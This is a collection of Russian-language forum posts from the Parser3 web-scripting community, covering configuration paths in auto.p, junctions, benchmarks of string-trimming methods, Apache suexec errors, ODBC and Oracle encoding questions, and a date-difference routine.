"27176","\"вариант-2\", который \"всё оставляем, как было\" правильный.\
\
подробнее напишите про ошибку, что и как появляется.\
и посмотрите FAQ."
"27177","Да я и не спорю, за помощью и пришел! Да, перед обращением в форум я прочитал разделы FAQ, которые, как мне казалось, имели отношение к установке Парсера (\"Установка Парсера\"). Там не обсуждается вопрос относительные/абсолютные пути в методе @conf.\
Второе. В исходном обращении я максимально полно изложил суть проблемы, скопировал строчки из auto.p и скопировал часть выданного Парсером результата. Как еще более подробно описать ситуацию - я не понял? Я ведь указал то, что я сделал, указал то, что получилось, указал то, что я ожидал получить... Осталось указать имя моего домена, логин и пароль к ftp доступу ;-)\
Не сердитесь, это добрая шутка, а не наезд :) Кстати, PAF уже неоднократно помогал решать мне возникающие проблемы, большинство из которых возникало по вине провайдера. Я могу полагать, что и эта ерунда растет корнями оттуда. Возможно ли, что правильно написанные auto.p и _test.html не выдают абсолютного пути к файлам, например, по причине неверно настроенных прав и владельцев файлов? Может, есть еще какие экзотические варианты?"
"27179","он просто не может их найти и проверить!\
\
если все остальное при этом работает - забить на сообщения об ошибках.\
\
если [b]очень хочется[/b] увидеть, как он их находит и пишет что все пучком нужно: поправить конфигурационный auto.p и в методе @conf[] отредактировать строку\
[code]\
$confdir[^file:dirname[$filespec]]\
[/code]\
таким образом, чтобы в переменную $confdir попадал [b]полный путь от корня диска[/b] к тому месту, где лежит парсер, и соответственно пути в $charsetsdir и $sqldriversdir должны определяться относительно $confdir (например как в defaul auto.p)"
"27180","...зачем мучать GIF, если есть PNG?\
в мануале указывается, что \"поддерживаются GIF, JPEG и PNG\".\
Т.е. в перспективе полноценная работа с PNG предполагается.\
ИМХО, более правильным было бы сконцентрировать усилия на реализации PNG-шрифтов со сглаживанием, а GIF - оставить как есть. На мой взгляд, то что есть - более чем достаточно.\
Как говорят уважаемые PAF, Misha v.3, и другие сотрудники студии - это \"не в духе парсера\".\
Иными словами - не стоит создавать лишних сущностей."
"27181","\"лишняя сущность\" [url=\"http://www.parser.ru/forum/?id=27028\"]уже создана[/url], и увидит свет с выходом новой версии Парсера (3.1.2)"
"27182","Объясните на пальцах, что делает и зачем нужен класс junction."
"27183","Пример 1:\
\
auto.p:\
[code]\
@my_method[]\
код метода\
[/code]\
\
index.html:\
[code]\
^if($my_method is \"junction\"){\
  ^my_method[]\
}\
[/code]\
\
Пример 2 (более сложный, но его я активно использую):\
есть парсерный код в файле, который иногда хочется отпроцессить:\
[code]\
@main[]\
# в этом хеше мы будем хранить ссылки на junctions.\
$processes[^hash::create[]]\
...\
\
# затем в него каким-то образом попадают записи о внешних файлах, которые нам придется выполнять\
...\
\
# ну а когда надо выполнять зовем свой метод\
# при этом файл с диска будет загружен только один раз, и \
# отпроцессен один раз, при повторном вызове будет обращение \
# к уже созданному методу (junction)\
^for[i](1;100){\
  ^my_process[5]\
}\
\
\
@my_process[id]\
^if(!$processes.[$id].process_body_loaded){\
	^rem{ *** еще не грузили данный код (соответственно не процессили) *** }\
	$pname[process_${id}_main]\
	^try{\
		$pf[^file::load[text;каталог/$processes.[$id].process]]\
		$process_body[^taint[as-is][^trim[$pf.text]]]\
		^if(^process_body.pos[@main^[^]] >= 0){\
			^rem{ *** если в нем есть буковки @main[] - меняем их *** }\
			$process_body[^process_body.match[\\@main\\^[\\^]][g]{@${pname}^[^]}]\
		}{\
			^rem{ *** а если их нету, и в файле что-то есть - приделываем их в самое начало *** }\
			^if(def $process_body){\
				$process_body[@${pname}^[^] ^#0A$process_body]\
			}\
		}\
	}{\
		^rem{ *** какой-то облом, ну и фиг с ним. бум считать, что кода нету *** }\
		$exception.handled(1)\
		$process_body[]\
	}\
	^rem{ *** вот теперь можно процессить код и создавать метод *** }\
	^process[$caller.self]{$process_body}\
	^rem{ *** запоминаем, что мы его уже отпроцессили, и нам не надо его больше будет пытаться грузить и компилить *** }\
	^processes.[$id].add[\
		$.process_body_loaded(1)\
		$.main[$$pname]\
	]\
}\
^if($processes.[$id].main is \"junction\"){\
	^rem{ *** если метод есть - выполняем его *** }\
	$result[^trim[^processes.[$id].main[]]]\
}{\
	$result[]\
}\
[/code]"
"27184","Стиль этого форума - вынудить пользователя разобраться во всех тонкостях самостоятельно. А если он перепробовал все варианты и не разобрался, тогда помогают старожилы. Не так ли?\
Спасибо за подсказку, Misha v.3! Я действительно увидел то, что хотел (и я хотел это увидеть: тестовый файл _без_ сообщений об ошибках). Но \"остался влажный след в морщинах старого утеса\" ;-)\
Во-первых, так и осталось непонятным, из-за чего правильный auto.p не находит правильный Парсер по правильному пути? Во-вторых, \"красненькие\" в Мишином варианте исчезли не все: осталось\
\
libmysqlclient.so (относительный путь. проверка невозможна)\
\
...хотя все пути прописаны, вроде, верно:\
\
@conf[filespec]\
$confdir[/home/www/mydomain/cgi-bin]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
#...пропущено...\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
\
По какому пути идти, чтобы найти два ответа на два этих вопроса? Так хочется, следуя Вашим советам, докопаться до глубин знания :-)"
"27185","...или что он не прописан (просто указывается имя файла), что в тоже означает, что путь относительный (библиотека ищется рядом с парсером или по путям env). но выполняющаяся html-ка не знает, где относительно неё лежит парсер, а найти какой-либо файл она может или по пути относительно себя или относительно DOCUMENT_ROOT.\
\
рекомендую забить, т.к. у вас все работает (если вы говорите, что эта строка единственная красная, то значит тест выполнения SQL запроса прошел, что означает: SQL работает. если бы с упоминаемой библиотекой было все совсем плохо, то SQL не работал-бы)"
"27186","Сплит не хочет работать если разделителем поставить несколько русских букв.\
Проверял на примере из документации:\
[code]\
$str[О, сколько нам открытий чудных!…]\
$parts[^str.split[нам]]\
^parts.save[parts.txt]\
[/code]\
Результат:\
piece\
О, сколько нам открытий чудных!…\
Если написать вместо \"нам\" просто букву \"н\", разделение срабатывает. С английскими символами все впорядке.\
Версия парсера 3.1.1 под win32 модуль для apache."
"27187","Как известно студия Лебедева создавала дизайн яндекса...\
А использовался ли парсер при этом.... если да то где?"
"27188","Это только к process имеет отношение, или такой синглетон нужно и для ^use[myclass.p] использовать ? Я был до сих пор уверен, что если в нескольких методах я использую конструкции ^use, то для второго метода зкгрузки и компиляции уже не будет :(("
"27189","обязательно ли в CMS-редакторах использовать фремы?\
Вопрос ко всем.\
PS: оченьхочу, чтобы своё мнение выразили Александр Петросян(PAF) и Миша(профессионалы всё-тмки)"
"27190","обычно в портфолио указывают что использовали :))"
"27191","\"В работе над проектом было использовано только легальное программное обеспечение\". \
Ничего не скажешь.. Указали.. =)"
"27192","Раз сам Тема Лебедев сказал... Значит не использовали Ж-("
"27196","(ну, если не поиск, то может выдача результатов, или другие разделы Яндекса)\
IMHO наверное, нет"
"27200","Вот если не секрет!\
\
У Imprimatur есть веб интерфейс или при каких-нибудь обстоятельствах онадаёт возможность аутентификации?\
\
Насколько я себе представляю по каким-то отрывочным сведениям, подслушенным, \"на базаре\" ;) она может использовать как \"окошко стандартной аутентификации\", так и производить аутентификацию из форм или я ошибаюсь?\
\
Какими средствами это делается? Встроенными в неё?\
\
Извиняюсь за кривое выражение мыслей %("
"27201","Пока у меня получилось только это:\
[code]\
$s[   удалить лишние пробелы   ]\
^s.match[^^ *][g]{}\
[/code]\
Удаляет все пробелы вначале. Теперь хотелось бы чтобы еще и в конце удалял..."
"27203","Смотри http://www.parser.ru/examples/lib/ -> @trim"
"27204","используя класс @is_email столкнулся с тем, что он таки обрабатывает не все адреса -  на это мне указал один из пользователей сайта.\
Пользователь утверждает, что у него есть работающий e-mail такого вида name..21@rambler.ru. Я посмел усомниться в этом и предположил, что у пользователя e-mail name21@rambler.ru. Но пользователь настаивает не том, что этот e-mail рабочий и желает использовать его.\
Вопрос: действительно ли может быть такой e-mail. (если да, то мне придётся немного переделать класс, чтобы пользователь смог зарегистрироваться)"
"27205","Вот тебе два варианта на выбор. Разница - в потреблении ресурсов, которая во втором случае меньше.\
\
1)\
[code]\
^text.match[^^\\s*(.*?)\\s*^$][]{$match.1}\
[/code]\
\
2)\
[code]\
$text[^text.match[^^\\s+][]{}]\
^text.match[\\s+^$][]{}\
[/code]\
\
\
----\
Дм.Завьялов (http://www.dvdigital.ru)"
"27206","Теоретически такое возможно. Имхо, имя (то.что.до.собаки@) - только имя, и точка не является зарезервированным разделителем. Точнее можно в RFC посмотреть, но лениво.\
Однако, жить с таким серо-буро-малиновым емейлом в советской россии крайне не рекомендуется - придется доказывать возможность его (емейла) существования практически каждому админу.\
Засим, у себя можно и поправить, а вот юзеру порекомендовать завести себе что-то более нормализованное (в конце концов есть же форвард и т.п.)\
\
----\
Дм.Завьялов (http://www.dvdigital.ru)"
"27208","вот код:\
\
[code]\
$text[     ghbvth ntrcnf      ]\
\
$ss[$status:rusage]\
$s1(^eval($ss.utime*1000))\
$m1($ss.maxrss)\
\
^for[page](1;10000){\
	$a[^trim[$text]]\
}\
\
$ss[$status:rusage]\
$s2(^eval($ss.utime*1000))\
$m2($ss.maxrss)\
\
^for[page](1;10000){\
	$text1[^text.match[^^\\s+][]{}]\
	$a[^text1.match[\\s+^$][]{}]\
}\
\
$ss[$status:rusage]\
$s3(^eval($ss.utime*1000))\
$m3($ss.maxrss)\
\
^for[page](1;10000){\
	$a[^text.match[^^\\s*(.*?)\\s*^$][]{$match.1}]\
}\
\
$ss[$status:rusage]\
$s4(^eval($ss.utime*1000))\
$m4($ss.maxrss)\
\
<table cellpadding='5' cellspacing='0' border='1'>\
<tr>\
	<td>1.</td>\
	<td>^eval($s2-$s1)  mSec</td>\
	<td>^eval($m2-$m1) blocks</td>\
</tr>\
<tr>\
	<td>2.</td>\
	<td>^eval($s3-$s2)  mSec</td>\
	<td>^eval($m3-$m2) blocks</td>\
</tr>\
<tr>\
	<td>3.</td>\
	<td>^eval($s4-$s3)  mSec</td>\
	<td>^eval($m4-$m3) blocks</td>\
</tr>\
</table>\
\
[/code]\
\
Вот TRIM:\
\
[code]\
@trim[str;char][chr;tbl]\
^if(def $str){\
	$chr[^if(def $char){$char}{\\s}]\
	$str[^str.match[^^$chr*][]{}]\
	$tbl[^str.match[^^(.*[^^$chr])$chr*^$]]\
	$result[$tbl.1]\
}{\
	$result[]\
}\
[/code]\
\
Вот результаты:\
\
[code]\
1. 296.875 mSec 23204 blocks \
2. 125.000 mSec  9732 blocks \
3. 109.375 mSec  5624 blocks \
[/code]\
\
Вариант 1 - это TRIM\
\
И хрен с ней со скоростью 100 миллисекунд или 300 в конце концов не так уж и важно - вон сколько TRIM ресурсов кушает... А для обычного хостинга, где та память, что выделяется процессу, весьма ограничена, это очень критично. Да и медленнее он работает.\
\
Или я мерял неправильно?"
"27209","1. поместите ваш код в метод или вынесите инструкции из @trim в ваш тестовый файл\
2. возьмите БОЛЬШОЙ текст. например 30 КБ."
"27210","Код из метода TRIM используется в жизни именно так, как я его использовал - вызовом метода, который, к тому же, лежит в отдельном файле (я же его, кстати, в тот же файл что и мой код положил). Если всякий раз использовать выемку кода из метода - логичный вопрос тогда: а зачем нужен метод?\
И... 30 КБ текста - как-то сомнительно - обычно нужно как раз много коротких строк (байт по 200-500) перелопатить.\
\
----\
Дм.Завьялов (http://www.dvdigital.ru)"
"27211","Сразу оговорюсь - результаты из вакуума, потому что в жизни так никто делать НЕ БУДЕТ.\
\
На больших строках TRIM (точнее, код TRIMа) действительно быстрее, однако жрет в два раза больше ресурсов.\
На маленьких скорость одинаковая, однако ресурсов жрет так же в 2 раза больше.\
Если же использовать вызов TRIM как обычно это делается (иначе зачем его отдельным методом оформлять?) и на коротких строках, то он проигрывает.\
\
Отсюда делаю вывод: нужно выбирать от ситуации:\
- если нужно только быстродействие на длинных строках и полно ресурсов, выбираем TRIM\
- если нет, а также на всяких хостингах (особенно бесплатных) TRIM противопоказан из-за перерасхода памяти\
\
Вот результаты (код внизу):\
\
100 байт\
[code]\
1. 31.250 mSec 2292 blocks \
2. 15.625 mSec 1268 blocks \
3. 15.625 mSec  728 blocks \
[/code]\
\
1000 байт\
[code]\
1.  78.125 mSec 6828 blocks \
2. 109.375 mSec 5788 blocks \
3.  93.750 mSec 3000 blocks \
[/code]\
\
5000 байт\
[code]\
1. 234.375 mSec 32696 blocks \
2. 531.250 mSec 31644 blocks \
3. 406.250 mSec 15936 blocks \
[/code]\
\
10000 байт\
[code]\
1. 468.750 mSec 56740 blocks \
2. 1031.25 mSec 55688 blocks \
3. 828.125 mSec 27960 blocks \
[/code]\
\
Вот код:\
[code]\
$ss[$status:rusage]\
$s1(^eval($ss.utime*1000))\
$m1($ss.maxrss)\
\
^for[i](1;1000){\
	^if(def $text){\
		$chr[^if(def $char){$char}{\\s}]\
		$text[^text.match[^^$chr*][]{}]\
		$tbl[^text.match[^^(.*[^^$chr])$chr*^$]]\
		$a[$tbl.1]\
	}\
}\
\
$ss[$status:rusage]\
$s2(^eval($ss.utime*1000))\
$m2($ss.maxrss)\
\
^for[i](1;1000){\
	$text1[^text.match[^^\\s+][]{}]\
	$a[^text1.match[\\s+^$][]{}]\
}\
\
$ss[$status:rusage]\
$s3(^eval($ss.utime*1000))\
$m3($ss.maxrss)\
\
^for[i](1;1000){\
	$a[^text.match[^^\\s*(.*?)\\s*^$][]{$match.1}]\
}\
\
$ss[$status:rusage]\
$s4(^eval($ss.utime*1000))\
$m4($ss.maxrss)\
\
<table cellpadding='5' cellspacing='0' border='1'>\
<tr>\
	<td>1.</td>\
	<td>^eval($s2-$s1)  mSec</td>\
	<td>^eval($m2-$m1) blocks</td>\
</tr>\
<tr>\
	<td>2.</td>\
	<td>^eval($s3-$s2)  mSec</td>\
	<td>^eval($m3-$m2) blocks</td>\
</tr>\
<tr>\
	<td>3.</td>\
	<td>^eval($s4-$s3)  mSec</td>\
	<td>^eval($m4-$m3) blocks</td>\
</tr>\
</table>\
[/code]\
\
P.S. Окошко для текста бы строк на 15-20... 10 мало."
"27212","...вы свой код будете постоянно в тело страниц писать или его вынесите в отдельный метод? про то и речь: идет сравнение регулярных выражений. и если так, то эти выражения надо ставить в равные условия. при этом где находится метод (в отдельном файле или нет) - значения не имеет.\
\
немного переделал тестовый файл, результаты:\
Text size: 24 bytes\
Iterations: 10000 \
1	296.875 ms	22444 KB	\
2	187.5 ms	11616 KB	\
3	140.625 ms	7564 KB\
\
на маленьких строках он медленнее, но на больших все меняется (обратите внимание, итераций уже не 10000):\
Text size: 16209 bytes\
Iterations: 400 \
1	328.125 ms	32976 KB	\
2	906.25 ms	32516 KB	\
3	828.125 ms	16160 KB\
\
если файл ещё больше:\
Text size: 21377 bytes\
Iterations: 400 \
1	453.125 ms	46084 KB	\
2	1218.75 ms	45612 KB	\
3	1140.63 ms	22656 KB\
\
код:\
[code]\
@trim1[str]\
$result[^str.match[^^\\s+][]{}]\
$result[^result.match[\\s+^$][]{}]\
\
\
@trim2[str]\
$result[^str.match[^^\\s*(.*?)\\s*^$][]{$match.1}]\
\
\
@do[n;code][v]\
^memory:compact[]\
^run_time{$code}[v]\
<tr>\
<td>$n</td>\
<td>$v.time ms</td>\
<td>$v.memory_kb KB</td>\
</tr>\
\
\
@main[]\
$f[^file::load[text;/_test.html]]\
$f1[^file::load[text;/auto.p]]\
\
$steps[^table::create{cnt	text\
10000	     ghbvth ntrcnf      \
400	$f.text\
400	$f1.text\
}]\
\
\
^steps.menu{\
	Text size: ^steps.text.length[] bytes<br />\
	Iterations: $steps.cnt\
	<table cellpadding='5' cellspacing='0' border='1'>\
	^do[1]{^for[page](1;$steps.cnt){$a[^trim[$steps.text]]}}\
	^do[2]{^for[page](1;$steps.cnt){$a[^trim1[$steps.text]]}}\
	^do[3]{^for[page](1;$steps.cnt){$a[^trim2[$steps.text]]}}\
	</table>\
	<br /></br />\
}\
[/code]\
\
P.S. @run_time и @trim используются те, что в lib.p\
P.P.S. на строках ~200-250 байт время выравнивается\
P.P.P.S. против чрезмерного расхода памяти у нас есть memory:compact, против времени выполнения нету ничего.\
P....S. ничего не мешает добавить в @trim проверку на длинну строки, и в зависимости от неё выбирать алгоритм."
"27213","> ничего не мешает добавить в @trim проверку на длинну строки, и в зависимости от неё выбирать алгоритм\
Вот это как раз и надо сделать - лучше всего будет.\
\
Вот и решение вроде бы нашлось... спасибо за обсуждение.\
\
----\
Дм.Завьялов (http://www.dvdigital.ru)"
"27214","Звиняйте, что спрашиваю здесь, больше некуда податься...\
(сами мы не местные :)))\
\
Вообщем, если кто знает, подскажите пожалуйста решение такой проблемы: в Ультраедите любимом при копировании русского текста он вставляется абракадаброй. Причем, такое происходит и при перетаскивании русского текста мышкой...\
\
Вот такие пироги..."
"27217","а что до метода trim - так он конечно-же быстрее (я уже сравнивал).\
в 5 и более раз. на расход памяти я не смотрел."
"27219","это столько раз обсуждалось, что на этот конкретный вариант я не нашел... подскажите где смотреть...\
на чем возникает:\
FreeBSD larrikin.vosnet.ru 4.9-STABLE FreeBSD 4.9-STABLE #4: Sun Feb 29 16:12:10 MSK 2004     Larrikin@larrikin.vosnet.ru:/usr/obj/usr/src/sys/LARRIKIN  i386\
Apache 1.3.29 WITH_APACHE_SUEXEC=yes\
Parser - скомпилированные под 4.8 бинарники CGI без XML\
суть проблемы:\
Апач выполняется под www\
httpd.conf:\
# larrikin.vosnet.ru\
<VirtualHost *>\
                DocumentRoot \"/usr/home/Larrikin/poison/html/\"\
                ServerName \"larrikin.vosnet.ru\"\
#               user Larrikin\
#               group sys\
                ErrorLog  \"/usr/home/Larrikin/poison/logs/error_log\"\
                CustomLog \"/usr/home/Larrikin/poison/logs/access_log\" combined\
                <IfModule mod_alias.c>\
                    ScriptAlias /cgi-bin/ \"/usr/home/Larrikin/poison/cgi-bin/\"\
                    <Directory \"/usr/home/Larrikin/poison/cgi-bin\">\
                        AllowOverride None\
                        Options None\
                        Order allow,deny\
                        Allow from all\
                    </Directory>\
                </IfModule>\
                <IfModule mod_dir.c>\
                    DirectoryIndex index.html\
                </IfModule>\
                AddHandler parser3-handler html\
                Action parser3-handler /cgi-bin/parser3.cgi\
                <Files ~ \"\\.p$\">\
                    Order allow,deny\
                    Deny from all\
                </Files>\
</VirtualHost>\
разумеется выдает напоминание о safe mode, как и положено.\
Но, если задаю user и group (хотя бы одно) - выдает premature\
то есть разница между 4.8 и 4.9 столь критична или я что-то не так все-таки делаю?\
я бы понял если бы всегда этот end of script выдавало, а тут сомнения...\
сорри еще раз, правда не нашел на форуме, одни ссылки на читайте FAQ"
"27221","Там тоже фря 4.9, но Парсер 3.0.8 тоже с сайта готовый CGI под 4.8\
там штук пять разных сайтов каждый на своем виртуальном хосте под уникальным user:group да еще сам Апач 1.28 в chroot окружение загнан тоже под свой отдельный user:group..."
"27222","Господа, помогите пожалуйста! Какие условия должны быть выполнены, чтобы Parser заработал? Я практически ничего не понимаю в этих web-серверах, объясните пожалуйста!"
"27223","В случае MySQl ^connect[mysql://USER:PASSWORD@SERVERHOST/TABLE], а как присоедится к MS SQL?\
Я делаю так: \
$connect_string[odbc://DSN=ИМЯ_КОМПЬЮТЕРА/БАЗА^;UID=ПОЛЬЗОВАТЕЛЬ^;PWD=]\
^connect[$connect_string]{}\
\
Пароль у меня пустой...\
В ответ получаю: \
CDBException: Data source name not found and no default driver specified\
odbc://****\
\
что не так?"
"27224","Мне непонятно что означает термин - возвращает значение. Если смотриш пример из доки, то вроде осознаёшь, но стоит от него отойти, и встретив опять этот термин нельзя понять что он значит.\
Пожалуйста объясните суть.."
"27225","Тут такая шутка - само слово сочетание очень точно обозначает суть процесса.\
\
Например, пишем в p3 скрипте \
[code]$digit(100)\
^digit.int[][/code]\
Где ^digit.int[] вернет значение 100, и в качестве результата работы скрипта будет выведено:\
[quote]100[/quote]\
\
Если попробовать дать определение, то возвращение значения это процесс замены кода вызова функции на результат ее работы (или в случае с переменно переменной - на ее значение). Хотя это определение неверное, т.к. \"замена\" это совсем не то, что на самом деле происходит.\
\
В общем, нужно просто читать доку, писать код - и таких вопросов не будет :)"
"27226","То самое и значит.\
К примеру, оператор ^eval() возвращает вычисленное значение матем. выражения в скобках.\
Т.е. ^eval(2+2) возвращает значение выражения \"2+2\", попросту 4.\
Если сделать так:\
$var[^eval(2+2)]\
переменная $var будет равна 4, т.е. при обрабоке кода, код \"^eval(2+2)\" будет заменен на результат вычисления, т.е. на 4."
"27228","Условия:\
-не очень кривые руки\
-терпение\
А если серьезно, то просто воспользуйтесь Денвером (в разделе загрузок есть ссылка). Он все за Вас сделает. (ессно если Вам на локальной машине нужно).\
А если на серваке хостера, то надо знать, какую тот пользует ось, сервер, нет ли у него узких ограничений на выполнение cgi-скриптов. Потом качаете последнюю версию Parser'а для вашей платформы, суете его в каталог для cgi, прописываете обработчиком ваших страниц этот скрипт.\
\
Подробности можно за полчаса найти на этом форуме или в документации (редкой силы вещь).\
\
Если возникнут конкретные вопросы, то опять в форум - искать. Тут сотни людей каждый день задают точно такие же вопросы."
"27230","Проверяю свой проект на локальной машине (Денвер+P3) и не могу просмотреть HTML-код командой в меню браузера: \
\"Вид – Просмотр HTML-кода\",\
а при сохранении страницы на диск она оказывается пустой...? (т.е. между тегами <body> и </body> ничего нет...)\
Если подключаюсь к Интернет, то моя страница с лок. машины сохраняется и все нормально..(как же это связано?)\
Но команда:\
\"Вид – Просмотр HTML-кода\"\
не работает вообще нигде,\
а работает, если я эту команду\
выполняю над сохраненной страницей...\
В чем же дело?\
Может это зависит от того, что я пользуюсь UltraEdit?\
Раньше у меня все работало.."
"27231","Скажите, пожалуйста: есть Парсер для Linux, версия 3.1.1 c XML\
Есть переменная $day, которая берется из MYSQL и нормально выводится вот так: $day\
А при попытке применить метод sql-string:\
Опубликовано: ^day.sql-string[]\
выдает: 'sql-string' string method not found [parser.runtime]\
\
Этого метода в этой версии Парсера нет, что ли? Что-то я об этом в документации ничего не нашел :(\
Спасибо!"
"27232","Спать надо по ночам, а не документацию читать ;-)"
"27233","щас попробовал - 3.1.1 ЦГИ скрипт заработал!\
хотя там тоже самое все, только Апач 1.3.28\
ну не верю в такую важность такой разницы!\
у меня дома 1.3.29 и не работает через SUEXEC, а так работает...\
ну уж слишком странно...\
что еще может иметься в-виду, когда выдается эта ошибка?"
"27234","назначил владельцем файлов Larrikin:www\
хост выполняется под www:www\
Парсер не ругается, вроде работает...\
а если добавить в настройки хоста user Larrikin - premature end\
ну да ладно, короче пусть будет так, хотя в чем дело хотелось бы разобраться, конечно..."
"27235","Есть табличка с IP-адресами, хотелось бы, по возможности, ее отресолвить в символьные имена.\
Подскажите плиз, кто сталкивался. А то я что-то туплю уже."
"27236","Делаю так:\
^try{\
   ^void:sql{insert into $form:admin(route_name, Id_route, route_number) values  '$form:r_name', '$form:r_id', '$form:r_num')\
}{\
 ^if($exception.type eq sql.execute){ \
 $exception.handled(1)\
 }\
}\
\
Или не так надо? :)\
\
Потому что парсер говорит:\
native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present)\
try"
"27238","Поставил на сайт скроллер:\
http://www.spearance.tura.ru/parser3/scroller/\
Точней этот: http://crimnet.invex.ru/scroller/text/ но суть та-же. Такой вопросик. Быборка из базы формируется по одному параметру id, т.е. типа /news?id=1 так вот, в чём проблема...\
если данные из базы вытаскивать как есть, то всё нормально, а вот если в sql запросе сказать \"хочу отсортировать по дате\", то id вытащенной таблицы и id скроллера не совпадают. Что делать?\
\
\
надеюсь правильно сформулировал вопрос."
"27239","Стоит ли ее использовать? Проекты из раздела \"в действии\" (да и parser.ru) в основном на WIN, почему?"
"27240","Выскочила такая ошибка. \
Дело вот в чем: \
в коде используются вложенные for, один в другой. Всего шесть штук. Я так монимаю, этот код отжирает огромное количество памяти. Про оптимизацию я ничего не знаю. Подскажите, пожалуйста, где и как нужно оптимизировать код. Я так понимаю нужно ^memory:compact[] куда-то вставить, или как?"
"27241","Всем доброго дня!\
Прошу знатоков помочь вот в чем.\
Ситуация следующая. Есть веб-приложение, использующее в качестве навигатора левое меню, черпающее инфу из xml-файла и правое информационное окно, черпающее инфу из базы oracle.\
Все это безобразие на аглицком, его надо локализовать.\
Изменил в xml-файле содержимое где надо, сохранил в UTF-8 и меню слева благополучно русифицировалось. Но.....   долшло дело до того самого информационного окна справа. Залез в базу, исправил через TOAD (и через встроенный редктор пробовал) пару слов с аглицкого на русский, и вот, то самое событие..... В правом окне у меня появилась краказябла в непонятной кодировке, похожей на представление win в utf. \
И возник тут вопрос, что делать? .... \
В силу того, что я не очень силен в оракле, то я не в курсе в какой кодировке все оно лежит в базе. Кто то мне рассказал, что в UTF, но судя по результату не похоже. \
Нашел на форуме что в оракле надо CHAR->NCHAR сделать.. сделал, кодировка изменилась, но все равно не стала похожа на русскую :( Где то прочитал что надо сделать alter database (кодировка), но надо ли это и как реализовать точно - незнаю, посоветуйте плз.\
\
Может кто-нибудь мне посоветовать как быть и пути наименьших потерь? То есть как можно это все организовать чтобы глобально не перестраивать типы данных итп в базе...\
\
Все огромное спасибо заранее, жлду с нетерпением.\
\
Андрей."
"27243","в примере $code это исполнения кода junction."
"27244","в других языках программирования похожая вещь называется ссылкой на метод класса. у нас это же самое синтаксически проще и понятнее.\
\
[code]\
$code{код}\
[/code]\
записывает в переменную код+контекст его выполнения.\
\
сам я этой конструкцией не особенно пользуюсь, она есть в пару \
[code]\
^something{код}\
[/code]"
"27246","вот и ругается. посмотрите в error_log от всего apache, не в тот, который вы настроили в вашем <virtualhost>."
"27247","Он не привязан к конкретным записям и полям. Он будет работать даже если у вас вообще нет поля id. Он привязан к таблице, точнее к ее размеру.\
Результат выборки из базы - таблица, следовательно все что надо для его работы есть.\
\
P.S. мой пример несколько посвежее будет."
"27248","это делается в Control panel|Administrative tools|Data Sources (ODBC)\
\
обычным порядком.\
\
\
важно: parser не работает с MSSQL сервером напрямую. он работает с произвольным ODBC драйвером, в частности, с ODBC клиентом/драйвером MSSQL сервера. ODBC надо предварительно настроить."
"27249","умеет делать это очень быстро.\
может приспособите?"
"27250","положите строки на русском и латышском в одну таблицу в базе данных.\
\
Латвия/латышский замените на Киргизия/киргизский или любую/любой другую/другой по вкусу.\
\
до сюда ещё можно вывернуться.\
\
а теперь… сделайте страницу, на которой можно отредактировать новость на сайте на обоих языках сразу."
"27251","приходите.\
\
это форум по parser, а не по тому, как настраивать oracle."
"27253","хе, пока писал этот пост кажись дошло, как решить вопрос. :0)\
про \"не привязан\" я понял, просто я не знал, как точно сформулировать вопрос, в результате неточно выразился. :-\\\
\
Пойду попробую...)) Пасиб за ответ."
"27254","Оракл сам умеет перекодировать из своей внутренней кодировки в нужную для клиента. Нужно правильно указать NLS_LANG. В документации написано, что UTF8 поддерживается. Подробности нужно смотреть в документе «Oracle8i National Language Support Guide». Конечно, внутренняя кодировка накладывает ограничения на возможность преобразования, но, думаю, это не тот форум, где нужно все это обсуждать :)\
\
Удачи!"
"27255","Вобщем захотелось мне написать метод, который считает разницу между входной датой и текущей (при необходимости с roll) и возвращает хеш. С той точностью, с которой у казана входящая дата. Т.е. вполне возможно, что с точностью до секунды.  Написал основную часть. Ничего другого не придумал, как воспользоваться вложенными один в другой циклами: \
Цикл для года, в нем цикл для месяца ... цикл для секунды. Думаю, тут уже понятно, как такая конструкция жрёт память. Да что я говорю, вот кусок (оговорюсь, этот кусок не я вляется полностью рабочим, хочется смысл передать):  \
[code]\
  ^for[iyear]($src.year;$now.year){\
   ^for[imonth](^if($iyear == $src.year && def $src.month){$src.month}{1};^if($iyear == $now.year){$now.month}{12}){\
\
    $c[^date:calendar[rus]($iyear;$imonth)]\
    $c[^table::create{day\
^c.menu{^for[i](0;6){^if(def $c.$i){^c.$i.int[]}\
}}}]\
    $dpm[^c.count[]]\
\
    ^for[iday](^if($imonth == $src.month && $iyear == $src.year && def $src.day){$src.day}{1};^if($imonth == $now.month && $iyear == $now.year){$now.day}{$dpm}){\
     ^for[ihour](^if($iday == $src.day && $imonth == $src.month && $iyear == $src.year && def $src.hour){$src.hour}{1};^if($iday == $now.day && $imonth == $now.month && $iyear == $now.year){$now.hour}{24}){\
      ^for[iminute](^if($ihour == $src.hour && $iday == $src.day && $imonth == $src.month && $iyear == $src.year && def $src.minute){$src.minute}{1};^if($ihour == $now.hour && $iday == $now.day && $imonth == $now.month && $iyear == $now.year){$now.minute}{60}){\
       ^for[isecond](^if($iminute == $src.minute && $ihour == $src.hour && $iday == $src.day && $imonth == $src.month && $iyear == $src.year && def $src.second){$src.second}{1};^if($iminute == $now.minute && $ihour == $now.hour && $iday == $now.day && $imonth == $now.month && $iyear == $now.year){$now.second}{60}){\
        $result.seconds_total(^eval($result.seconds_total + 1))\
       }\
       $result.seconds(^eval($result.seconds_total%60))\
       $result.minutes_total(^eval($result.seconds_total\\60)[%.0f])\
      }\
      $result.minutes(^eval($result.minutes_total%60))\
      $result.hours_total(^eval($result.minutes_total\\60)[%.0f])\
     }\
     $result.hours(^eval($result.hours_total%60))\
     $result.days_total(^eval($result.hours_total\\24)[%.0f])\
    }\
    \
    $result.days(^eval($result.days_total%$dpm))\
    $result.months_total(^eval($result.days\\$dpm)[%.0f])\
    $result.months(^eval($result.months_total % 12))\
   }\
   $result.years(^eval($result.months_total\\12)[%.0f])\
   $result.years_total($result.years)\
  }\
\
[/code]\
Этот код даже разницу в один день хрен знает сколько считает."
"27256","это я в прошлый раз недочинил :(\
\
письмо Гансу ушло :)"
"27259","Это вопрос не столько по парсер сколько по MySQL\
Ни как не получается подключиться к бд на другм хосте/\
\
есть два сайта \
\
www.isamara.ru\
www.mindwork.ru\
\
auto.p на www.isamara.ru\
[code]\
@auto[]\
$db_name[mindwork_isamara]\
$db_user[****]\
$db_pass[****]\
$connect_string[mysql://${db_user}:${db_pass}@mindwork.ru/${db_name}]\
